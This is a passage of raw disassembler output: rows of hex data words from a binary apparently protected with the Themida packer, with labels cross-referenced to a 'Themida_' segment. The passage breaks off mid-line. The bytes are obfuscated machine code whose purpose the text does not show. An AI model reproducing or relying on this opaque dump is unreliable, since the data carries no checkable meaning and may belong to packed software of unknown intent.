6C895DC3h, 44810424h dd 150424h, 55450000h, 667037C3h, 0B5FFDE8Bh, 60AADD7h dd 263DBD89h, 0DF680607h, 6082CB0Eh, 7509BB66h, 61D18B66h dd 20240481h, 8B7D53F5h, 72D819Dh, 11E906h, 7170000h, 9AD8CD11h dd 93273E4Fh, 0F0C024B8h, 8D2E08A1h, 0AADDF85h, 0F90F806h dd 587h, 17CDBF00h, 0E95062F5h, 0Bh, 0DC3FF262h, 9638A766h dd 903B9318h, 2C1D8D31h, 95FF0607h, 60709F9h, 0DD9D8Bh dd 6A610607h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8CBC356h, 32D78B28h, 0C7CC8DCCh dd 7330585h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0E8CB1448h, 83A41F1Eh dd 0AADDFBDh, 840F0006h, 46h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 59C35040h, 3EE9C3A2h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D711C353h, 22B19D8Bh, 30500607h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0DE9C0h dd 43A40000h, 2CCA8884h, 3E922C07h, 0BB6EE40Ch, 6564A7Ah dd 3305BD83h, 0F030607h, 35985h, 0C3816600h, 0BD8356DFh dd 60AADDFh, 47840F00h, 0BB000003h, 130487B7h, 0ADDFB5FFh dd 0BB66060Ah, 95FF8967h, 6072129h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9AC35040h, 958B60F5h, 60710B5h dd 442CBA66h, 0D3B58B61h, 0F8060AADh, 106C7h, 6A0001h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 8A5F9CC3h, 5EA97F2h, 0B58B60A6h, 6072BD1h, 219D8B61h dd 96060720h, 0F7BB6660h, 3EBE6641h, 0BB5061EFh, 65A71A50h dd 6820F96h, 89000000h, 702798Dh, 0DFB5FF06h, 2B060AADh dd 732F9BDh, 5195FF06h, 6A060702h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 63F7C350h dd 0B94CF075h, 71952905h, 8B060732h, 0AADD3B5h, 85BD8B06h dd 8B06070Dh, 712A185h, 0A98D8906h, 89060712h, 0C486h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8119FC34h, 7C46C3F7h, 0D9958B0Eh, 6A06071Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 6E9C356h, 81BBC537h, 8338B7EDh, 508904C2h dd 6D9D8920h, 8D060708h, 0AC17085h, 0DF816606h, 8689E5C6h dd 0B8h, 12E9h, 19458700h, 2813ADEEh, 622717ECh, 0A6F8B429h dd 0E8D3B952h, 0Bh, 0B98452F3h, 6EE6578Dh, 6600FA4Eh, 6A5FFB8Bh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 303BE573h, 19ADBD8Bh, 0E9600607h, 12h, 75197A46h dd 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 8E0FC359h, 5, 0A67D5BBh dd 0B5FF610Ah, 60AADDFh, 9E9h, 62C19E00h, 48C8F1B3h, 95FFD536h dd 6070791h, 0DF99D8Bh, 0F960607h, 28Fh, 509DB300h, 12E9h dd 3E50B00h, 70639FEh, 0C9B1BD96h, 5FDF793Eh, 964D96D7h dd 482ABB66h, 0ADDFB5FFh, 0BE8060Ah, 0B3000000h, 0A0857D45h dd 0DBFCAE5Fh, 0BF0FF70Ah, 95FF5FF8h, 6072D09h, 1AB59D8Bh dd 0BD830607h, 60714C1h, 12840F00h, 8B000000h, 70A359Dh dd 0DD8A5006h, 31243489h, 7106995h, 0DFB5FF06h, 0E9060AADh dd 0Fh, 0CA83AAEAh, 331836D5h, 0E4548A51h, 0FF05C936h dd 71F9595h, 81F86006h, 25BB2DC0h, 14BF6152h, 0FF46017Eh dd 0AADDFB5h, 68C0F06h, 89000000h, 726318Dh, 0C195FF06h dd 0F060702h, 0E87h, 9E900h, 2A0C0000h, 0DB9C9BE6h, 832D126Ah dd 72865BDh, 840F0206h, 4Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 11C35545h, 66A7DEDDh, 858BD88Bh dd 6070E69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 7CC35040h, 0B136FC1Bh, 0C68Ch, 2A5185C7h, 607h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 6EB1C8C3h, 0BD2B0327h, 6072B09h, 1ABD9D23h dd 0D4E90607h, 8BFFFFF4h, 712099Dh, 8BBBB306h, 8C0F60C1h dd 6, 1B2D9509h, 870F0607h, 6, 8F0Fh, 89610000h, 72B618Dh dd 0B1858D06h, 6A060718h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2D65C350h, 0C9CF3DA6h dd 500DDCFCh, 48991B7h, 0BD8B5024h, 6071F9Dh, 6E95Fh, 3EF10000h dd 82CC99D1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0EBE039C3h, 4FD8C861h, 11FD9D8Bh dd 6A0607h, 2A958D01h, 0EF800607h, 0F5858DDAh, 8B060BACh dd 714D99Dh, 5C08306h, 23658589h, 50900607h, 90FA8B66h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1CC35040h dd 0CE01CC06h, 5A77361Ah, 6880F6Ch, 89000000h, 713C585h dd 28BB6606h, 6A006AA4h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 664BC350h, 6AF98Bh dd 12E19D89h, 95FF0607h, 6071E3Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 29C35545h, 0C7E22422h, 93D58D8Dh dd 0B589060Ah, 60702C5h, 8589D1FFh, 6072211h, 19BDBD83h dd 0F010607h, 0AB85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 31A4EAD4h, 72F9995h, 29026A06h dd 711318Dh, 7ABF5006h, 8944111Eh, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 391C3C3h dd 0EDE555CAh, 13E8D4F0h dd 92000000h, 312A6908h, 0F5AD306Fh, 6112566Bh, 4275C5B1h dd 0DE9276Ch, 31000000h, 0AEE76D5Dh, 0EEEFB854h, 0AE781EABh dd 9195FF5Fh, 6A060707h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0E31FC355h, 0B5C90613h dd 0DF4E9h db 0 byte_5874B9 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053DB84o dd 815D0000h, 0BACFFEDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 59909EB5h, 8D879324h dd 0A843F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 50F95D05h, 66535250h, 0F5BDF8Bh dd 763CBF31h, 585A5E83h, 2B240489h, 725F1BDh, 35FF6406h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 6FC35141h dd 24E5921Dh, 66D9D8Bh, 89640607h, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0CBEA5A4h, 359D8B64h, 0FF060728h, 72F5985h, 6AFF6A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 89E1C350h, 359D8B16h, 0FF06070Dh, 71531B5h dd 0DF8B6006h, 95FF61F9h, 6072B89h, 108E9h, 0A8E0F00h dd 0E9000000h, 5, 0CE2A4426h, 8900B02Dh, 7047195h, 0BF70E606h dd 1825C29Ch, 958971E4h, 6071FD1h, 830F613Ch, 0D9h, 0A8B63ABBh dd 0C8B60F03h, 0E4CB8166h, 6BA0Ch, 8B660000h, 0BC18BDEh dd 7333D9Dh, 4E8C106h, 0E9D8B70Fh, 14h, 12969294h, 36DF1AA1h dd 2CA5E262h, 506571A8h, 3180BCDEh, 51E2F766h, 1E6D9D8Bh dd 2B5F0607h, 2AB160C8h, 199958Bh, 8B610607h, 55BD29D1h dd 0E9060708h, 0 dd 2D15858Bh, 0EB800607h, 7C08386h, 18ED9589h, 0C0830607h dd 0AE900h, 3A840000h, 0A9265FA8h, 0B8F568E1h, 830FD03Bh dd 14h, 46E9CBB3h, 0E9000000h, 8, 0CB97690Fh, 0CE9A618Dh dd 14F18D8Bh, 95890607h, 6071ED9h, 0F01E183h, 2484h, 0AD9D8B00h dd 8306071Eh, 714F1A5h, 0BD8BFE06h, 607052Dh, 2D159589h dd 85890607h, 6071175h, 0E9h, 0C0B58D00h, 6A060B1Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 5F7CC357h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 1E5DE8C3h, 0D6995FFh, 6A0607h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 8643DEC3h, 0CF8166AFh, 0BD8BB4F1h, 60732CDh, 89DB9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 125AC534h, 6E8h, 26906500h, 339A0C34h, 70AE59Dh dd 0BD8B5B06h, 6071811h, 0E8FCE183h, 9, 2D2A9D74h, 0BB080465h dd 7E97Ah, 8C3E0000h, 831950B6h, 66FC5BC3h, 0C02BD88Bh dd 5E9h, 58804D00h, 0D22BF864h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 4EC35545h, 496A4000h, 4A3BE730h dd 75BD8Bh, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 37C50BC3h, 0E88BD7BAh, 0Eh, 0A5ACD2Bh, 66570D50h, 0FD1ACF38h dd 0DB813186h, 4ED16500h, 0D185895Fh, 6A06071Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 21B2C353h, 81ED04E8h, 20F37FDFh, 2890F52h, 8B000000h dd 880DDFh, 0EE80000h, 0B6000000h, 0D7A6275Bh, 0BAE3F8E7h dd 0F31ACD6Bh, 0F98B6606h, 0D9958B5Bh, 6A06071Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 6D38C357h, 224C83D4h, 0A9B96029h, 611BF6D8h, 101D8D8Bh dd 9D330607h, 6073055h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0BF0F5818h, 8268BFD8h, 0BD830D55h, 6070E29h dd 0B0840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 2370C350h, 0C8BB6667h dd 0B868h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 96BFA4C3h, 8B5B0C84h, 72E5D9Dh dd 9B8D8D06h, 6A06074Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 8A8DC353h, 0CC8F8998h dd 39B58958h, 0FF060711h, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 486F99B2h dd 298501D7h, 0F06070Dh, 681h, 29BD8B00h, 83060733h, 73305BDh dd 840F0006h, 45Fh, 0BD83DA8Ah, 6073305h, 6B840F01h, 8B000004h dd 732CDBDh, 5BD8306h, 3060733h, 422860Fh, 0BE90000h, 0F9000000h dd 2AE580F0h, 4B6CE605h, 8E988B3h, 45000000h, 2DAEC3Dh dd 602600C4h, 11E8h, 47B6100h, 0E026F4D6h, 1EF9CCDEh, 0FE86E03Eh dd 8EB704C6h, 0BD89575Bh, 6071A31h, 0D98C665Fh, 80F88B66h dd 666004E1h, 0BBEFE081h, 0F561F18Bh, 840FC90Ah, 1DAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h dd 0EF803794h, 1D858B7Ch, 6A06072Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 1D8BC353h dd 0D460E516h, 0E882B194h, 12h, 0F5B1717Ch, 64AD3967h dd 571484FFh, 0FD0D3A7h, 0B70FAAFCh, 60525FFBh, 2D3D9D8Bh dd 61600607h, 85335F61h, 6071AFDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 82C35646h, 7E8D9h, 0D47E0000h dd 8A9D141Ah, 0E026BF08h, 905F2B91h, 7E85250h, 40000000h dd 0F1AEBA7Ch, 0F5F997Dh, 0EE931h, 905B0000h, 0F6B98F1Ch dd 28029682h, 0E46D4825h, 0B750585Ah, 6A902Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0EDD909C3h, 9D8B659Ch, 6070711h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FA8C22C3h dd 97F0A6B6h, 0E8A6DA18h, 0Ch, 8DC5B98Ch, 65DAE12Bh, 535FBBCBh dd 1D99509h, 0E85B0607h, 4, 1F03FFh, 8A50FC8Ah, 24448BFCh dd 0DBF6604h, 89008B93h, 0F042444h, 83h, 85895800h, 6072659h dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 86050AC3h, 0DF858989h, 6A060AADh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0B0E0C353h, 0B19D8BE6h, 0E906072Ah, 17Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CFC35646h dd 4390C8A9h, 0E919BF50h, 858B519Bh, 60AADD7h, 42D9D09h dd 0C70607h, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 14C35141h, 9AA96BAh, 701C59Dh, 0DBB58B06h, 66060AADh dd 858BDA8Bh, 6072BCDh, 0BFF9BF0Fh, 352EFEA0h, 0B5890689h dd 607186Dh, 2A1D858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 71A765C3h, 0C809DD4Ah dd 0E78139F0h, 0EBF6B54h, 6A044689h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5839C357h dd 5E9B7h, 85220000h, 507F929Fh, 3489FC8Ah, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 7E68E4E6h, 34695A62h, 39D9D8Bh, 0B5FF0607h, 60AADD7h dd 299D8D89h, 95890607h, 607139Dh, 0E79E3768h, 0DF8B66BDh dd 0C8240481h, 6A423765h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0B671C357h, 0BD89CD23h dd 60720E9h, 0DFDF8166h, 0DF858D87h, 0BF060AADh, 0FB648BEh dd 5E950h, 10960000h, 896BFCDEh, 85092404h, 6072D11h, 9F995FFh dd 870F0607h, 1, 6A61F9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0E9764CC3h, 89C3DC8Ah dd 72D8185h, 958D8906h, 0C7060707h, 7330585h, 306h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2D6E5745h, 6414A3A1h, 0BD01A904h, 60703A5h, 0ADDFBD83h dd 0F00060Ah, 2784h, 8A0F6000h, 0Bh, 6E9h, 43643100h, 615B23C4h dd 2AE9h, 8E800h, 95050000h, 68312D3Eh, 5BF98825h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 2EF8C357h, 46780610h, 16880FBFh, 0E9000000h, 11h, 89F18273h dd 710A0586h, 414788D7h, 4B1D9ED8h, 25BB66C2h, 0E321BF81h dd 0BD834B74h, 6073305h, 2B850F03h, 60000004h, 11E9h, 0AE0B7000h dd 97202FF0h, 0C73EEF48h, 7291D055h, 958B905Dh, 60732F9h dd 0DFBD8361h, 60AADh, 400840Fh, 0BD8B0000h, 60725E1h dd 0FFD88B66h, 0AADDFB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 8A07EA89h dd 73E43F8Ah, 8166705Ah, 0FF9A2CD3h, 7212995h, 0CE806h dd 35580000h, 7E3B7BFEh, 5D2C2853h, 0BD8B3DFAh, 6072A45h dd 0D3B58B5Fh, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0EE08C357h, 802C9DAEh dd 0DB806CC1h, 106C732h, 0E8000100h, 8, 3EEC8158h, 191E1A26h dd 8B965FF9h, 0DF8B50FAh, 35BD8B96h, 0FF06070Ah, 0AADDFB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 6B90E018h, 53FC66A3h, 25195FFh, 0CE80607h dd 0D1000000h, 0A6A1E670h, 2EFE1E39h, 311FF03Eh, 701B58Dh dd 0B58B5F06h, 60AADD3h, 0C8B96660h, 0F58529BBh, 61060725h dd 12A1858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 7C7639C3h, 4A6CB790h, 0C48689h dd 0BD8B0000h, 6071941h, 1AD9958Bh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0AF8C0DC3h dd 78BF10BDh, 4C283D9h, 22099509h, 50890607h, 7E96020h dd 0D2000000h, 56AD435Bh, 0B58BBD5Ch, 60703E9h, 70858D61h dd 6A060AC1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0B65AC356h, 720C0CC6h, 81FA8B66h dd 668526CFh, 0B886893Dh, 53000000h, 758D8B60h, 0BA060702h dd 134C9076h, 6A5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0B1C35646h, 6342E241h, 0D9B70F16h, 9437BFBFh dd 0DFB5FF63h, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 7FD2C357h, 68C0F15h dd 3000000h, 707B1BDh, 9195FF06h, 6A060707h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0BC30C352h, 0E8557F12h, 0Ch, 8AE9764Ch, 0FD6DC3DCh dd 0A89FDB4Fh, 0B7D9D29h, 505F0607h, 12840Fh, 7E80000h dd 7D000000h, 14D5602Ch, 0A1BBBA86h, 5F0C5B91h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0B35AC356h, 0DFB5FFE9h, 6A060AADh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 5E95C355h, 0CE812A59h, 0CE9h, 8E7EDC00h, 20DEEC21h dd 951F952Ch, 995FF00h, 6A06072Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CA32C352h dd 9D85D8EEh, 0BD8BF831h, 607292Dh, 14C1BD83h, 0F000607h dd 3284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 1CE73B22h, 89627234h, 72B8595h, 508BB306h dd 89FA8B66h, 0FFFC2434h, 0AADDFB5h, 9595FF06h, 5306071Fh dd 0DFB5FF5Fh, 6A060AADh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 45D4C356h, 5FBF0D48h dd 840FBD77h, 0Ah, 89616060h, 706C985h, 95FF6106h, 60702C1h dd 14A99D8Bh, 0BD830607h, 6072865h, 3C840F02h, 89000000h dd 70309BDh, 858BF806h, 6070E69h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0ABC35545h, 840F688Bh, 89D6CFA4h dd 7182195h, 0C606h, 0C71CF780h, 72A5185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 3F1E08F1h, 0E2E95828h, 8BFFFFF2h, 703BD9Dh, 8AC18B06h dd 0B1858DD9h, 6A060718h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0A6E1C353h, 5F9860F9h dd 13E950h, 68BA0000h, 26DEFAE4h, 2E9D50BAh, 86F68523h dd 44B2B1A4h, 24048986h, 80CF8166h, 6A006A57h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 8134C352h, 6840Fh, 95890000h, 60721A1h, 0ECB8DEBBh dd 0BB006A12h, 5FAD4216h, 0BCD6858Dh, 9D8B060Bh, 6070DFDh dd 0D860Fh, 89600000h, 7115585h, 219EBE06h, 83611C20h dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 652D2AC3h, 0E9BB0804h, 7, 0F9312C7Ch, 9081A549h dd 13E9h, 669D9800h, 0FD793CC6h, 8E84A9E3h, 1BB9CA0Fh dd 66194D1Bh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 8065A1C3h, 81308200h, 2BFBDEEBh dd 60006A3Ch, 1F45BD8Bh, 840F0607h, 2, 6A616160h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F6649EE1h, 1E3D95FFh, 0BD8B0607h, 6070E35h, 93D58D8Dh dd 0B589060Ah, 6072859h, 0EF80D1FFh, 0BDBD8354h, 1060719h dd 7B850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0B65CE1C3h, 0A5BF66E0h, 6A026A49h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0D773C356h, 5090434Ah, 90FA8B66h, 43158DBBh dd 9195FF79h, 0E9060707h, 0Ch, 0A6252633h, 4C5968A5h, 0B99F32B0h dd 10E9h, 604CA900h, 51D39635h, 0B0F0492Ah, 14B7C8D6h db 38h byte_588495 db 0E9h, 2Ah, 0Eh ; DATA XREF: Themida_:0053D914o dd 0E80000h, 5D000000h, 0BCE0ED81h, 0DF81060Bh, 65F2BD34h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h dd 2BBC37B7h, 8D5FE636h, 0A843F85h, 0D1C78106h, 505A50A3h dd 89DE8B66h, 830F2404h, 19h, 11E853h, 1F3C0000h, 7088DAF2h dd 7CF1FF37h, 6B157375h, 5F822636h, 35FF645Fh, 0 dd 0E659D8Bh, 89640607h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 7F2AB72Eh dd 3105877Dh, 0BD8BC8F0h, 60711BDh, 2F5985FFh, 9D8B0607h dd 6073119h, 0F5E78166h, 66FF6A28h, 11A7DF81h, 0BE9B5FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 1AA508C3h, 95FF8B5Bh, 6072B89h, 120E9h, 0B0F800h dd 70E6FB8Bh, 8B6DDF80h, 0BF71E4F8h, 27A2E1Ah, 830F613Ch dd 105h, 0F03EF80h, 0BD8BC8B6h, 6071B29h, 6BAh, 1D8D8900h dd 89060714h, 72B2D9Dh, 9C18B06h, 703A1B5h, 4E8C106h, 2D89BD23h dd 0F7660607h, 0AE9E2h, 0DE7F0000h, 4D6739D1h, 0DEDB30ADh dd 14A9BD8Bh, 0C82B0607h, 6820Fh, 9D090000h, 60707F1h dd 13E9h, 46ADB300h, 23F5555Ah, 0F02F805Ah, 2CE4DAA6h dd 0F937EAD9h, 8B53D18Bh, 712A99Dh, 8AE95B06h, 0F000000h dd 88Ch, 2880F00h, 8B000000h, 8858BF9h, 83000000h, 816607C0h dd 832A72F3h, 8D8900C0h, 607209Dh, 6820Fh, 95290000h, 6073331h dd 830FD03Bh, 16h, 6E9h, 3AB21700h, 0E9D092D6h, 41h, 255BD8Bh dd 8D8B0607h, 0FFFFFFFFh, 0C316CB81h, 0E1837B95h, 26840F01h dd 0F000000h, 0A583DAB7h, 0FFFFFFFFh, 89589FEh, 0E8000000h dd 5, 0BE308A15h, 810FD1h, 5B000000h, 0E9h, 2FB58D00h dd 6A060B3Ch, 4FE9BF00h, 0DF800F29h, 6995FF79h, 8B06070Dh dd 704E1BDh, 8A0F06h, 0B9000000h, 10C7h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 66031A3Dh dd 0E03F781h, 835FF952h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 331A8DC3h, 0DDFB025Bh dd 0FCFC64F0h, 8819509h, 0C02B0607h, 5F2FCF81h, 0BA61ECh dd 8B000000h, 7108D9Dh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 82598655h, 9D89E4CFh, 607075Dh, 5CE78166h dd 57006A0Dh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 15A8A37h, 880D784Ch, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2443C357h, 8684E1ADh, 8B1E77AAh, 70089BDh, 0D9958B06h dd 2306071Ah, 728B1BDh, 11E906h, 5F500000h, 631CC41Eh dd 69D46388h, 4CA3993Eh, 8BC71D42h, 7101D8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 595892Ah, 5006072Dh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0FE858h, 0BF800000h, 0F90882E8h, 0D2E04AE2h dd 8E19A5D1h, 95B5098Ah, 5F060702h, 0E443E781h, 0BD83140Ah dd 6070E29h, 5A840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2042C351h dd 0B848E0h, 8B000000h, 703219Dh, 9B8D8D06h, 6A06074Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CD7EC357h, 9D89BC6Fh, 6071025h, 0BF0FE1FFh dd 5BD83DEh, 60733h, 478840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CA4D32C3h dd 0BF66DD7Fh, 0BD837056h, 6073305h, 62840F01h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0EC70C351h, 239DBD8Bh, 0BD830607h, 6073305h dd 0FC860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0D1E8C356h, 9CE7B83h dd 70C059Dh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 2845F4C3h, 4E6ADF1Eh, 66B867BEh dd 663CCEBBh, 0BD31D98Ch, 6071535h, 8B04E180h, 71A1D9Dh dd 0FC90A06h, 12D84h, 0F9BD8B00h, 8B060701h, 72A1D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 6865F965h, 0F7C1BB19h, 853377DAh, 6071AFDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 35C35141h dd 21118531h, 66500607h, 489DA8Bh, 6AF98B24h, 19BD8900h dd 6806070Bh, 0C9A2E530h, 0CF240481h, 6A367C1Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 865BC356h, 9D8BAA77h, 6070829h, 2C39BD8Bh, 95FF0607h dd 60709F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 2FC35646h, 53EB7AA8h, 1251B531h, 810F0607h, 6 dd 28959D29h, 85890607h, 60AADDFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 85C35242h, 8EC48009h, 1CE9E24Fh dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 2EE2C351h, 0BB5088BAh, 0BE58D29h dd 858B0607h, 60AADD7h, 8A0Fh, 0C70000h, 18h, 0E96BD380h dd 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h, 0DBB58BD5h, 0E9060AADh dd 9, 0B3978185h, 4EA3414h, 0CD858B67h, 6A06072Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BF3C355h, 7074D9Dh, 689F806h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0CAC35141h, 8BBDF8B1h, 